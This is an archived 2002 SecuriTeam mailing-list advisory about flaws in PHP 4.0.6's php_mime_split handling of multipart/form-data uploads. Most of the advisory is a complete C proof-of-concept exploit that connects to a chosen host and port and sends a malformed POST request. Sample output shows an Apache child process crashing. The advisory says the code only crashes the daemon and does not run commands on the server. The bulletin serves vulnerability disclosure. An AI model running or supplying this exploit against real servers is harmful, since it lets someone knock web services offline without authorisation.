

[EXPL] Apache & PHP Proof of Concept Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0021.html>

From: support@securiteam.com

Date: 03/04/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 4 Mar 2002 11:37:59 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Apache & PHP Proof of Concept Exploit

SUMMARY

This is a proof of concept exploit for Apache/1.3.x + php_4.0.6. This code exploit multipart/form-data POST requests bug. This code only crashes the Apache daemon; it does not open any shell or execute code in the remote server.

PHP supports multipart/form-data POST requests (as described in RFC1867) known as POST fileuploads. Unfortunately there are several flaws in the `php_mime_split` function that could be used by an attacker to execute arbitrary code.

DETAILS

Example:

```
$ ./apache_php host 80 hi.php
```

```
$ cat /www/logs/error_log
```

```
[Sun Mar 3 02:50:36 2002] [notice] child pid 26856 exit signal  
Segmentation fault (11)
```

```
$
```

Securiteam: [EXPL] Apache & PHP Proof of Concept Exploit

Exploit code:

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX 1000
#define PORT 80

char *str_replace(char *rep, char *orig, char *string)
{
    int len=strlen(orig);
    char buf[MAX]="";
    char *pt=strstr(string,orig);

    strncpy(buf,string, pt-string );
    strcat(buf,rep);
    strcat(buf,pt+strlen(orig));
    strcpy(string,buf);
    return string;
}

int main(int argc,char *argv[MAX])
{
    int sockfd;
    int numbytes;
    int port;
    char *ptr;

    char POST_REQUEST[MAX] =
    "POST ##file HTTP/1.0\n"
    "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n"
    "Connection: Keep-Alive\nContent-type: multipart/form"
    "m-data; boundary=-----1354088"
    "10612827886801697150081\nContent-Length: 567\n\n---"
    "-----1354088106128278868016971"
    "50081\nContent-Disposition: form-data; name=\"\x8\"";

    struct hostent *he;
    struct sockaddr_in their_addr;

    if(argc!=4)
    {
```

Securiteam: [EXPL] Apache & PHP Proof of Concept Exploit

```
fprintf(stderr,"usage:%s <hostname> <port> <php_file>\n",argv[0]);
exit(1);
}
```

```
port=atoi(argv[2]);
ptr=str_replace(argv[3],"##file",POST_REQUEST);
//ptr=POST_REQUEST;
```

```
if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}
```

```
if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}
```

```
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(port);
their_addr.sin_addr=((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);
```

```
if( connect(sockfd,(struct sockaddr*)&their_addr,\
sizeof(struct sockaddr))== -1)
{
perror("connect");
exit(1);
}
```

```
if( send(sockfd,ptr,strlen(POST_REQUEST),0) == -1)
{
perror("send");
exit(0);
}
```

```
close(sockfd);
```

```
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:gmaggiot@ciudad.com.ar>>
Gabriel A. Maggiotti.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [EXPL] Apache & PHP Proof of Concept Exploit

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- *Previous message:* support@securiteam.com: "[TOOL] WAP Assessment Toolkit"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)